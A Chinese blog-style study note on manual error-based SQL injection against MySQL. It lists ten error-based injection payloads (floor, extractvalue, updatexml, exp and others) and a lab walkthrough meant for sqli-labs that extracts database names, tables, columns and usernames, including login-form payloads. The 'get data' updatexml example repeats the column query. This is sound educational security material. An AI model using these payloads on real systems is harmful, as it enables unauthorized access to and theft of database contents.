学习笔记十三:MySQL手注之报错注入

原理详解

当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分一部分以错误的形式显示出来。

这些函数分别是:

  • Rand()      //随机函数
  • Floor()      //取整函数
  • Count()    //聚合函数
  • Group by key  //分组语句

例如,利用floor()语句报错,就是利用floor(),count(),group() by冲突报错,当这三个函数在特定情况一起使用产生的错误。

用处

可以代替盲注,用于那些你在页面当中的输入得不到页面的任何回显错误时使用,就是利用它的一些报错的特性来进行注入以获取我们想要的信息。

函数解释:

extractvalue():从目标XML中返回包含所查询值的字符串。

EXTRACTVALUE (XML_document,XPath_string);

第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串)

concat:返回结果为连接参数产生的字符串。

报错注入常用的函数

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

实操演练

extractvalue()

获取版本信息:and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

数据库名:and extractvalue(1,concat(0x7e,(select database()),0x7e))#

获取表名:and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#

获取列名:and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))#

获取数据:and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#

updatexml()

获取数据库名:uname=admin&passwd=' or updatexml(1,concat('#',(database())),0)--+

获取表名:uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+

获取列名:uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+

获取数据:uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+

 

注:以上实操演可以在sqli-laps中进行。

 

posted @ 2021-12-05 20:04  Ling_Chen  阅读(227)  评论(0)    收藏  举报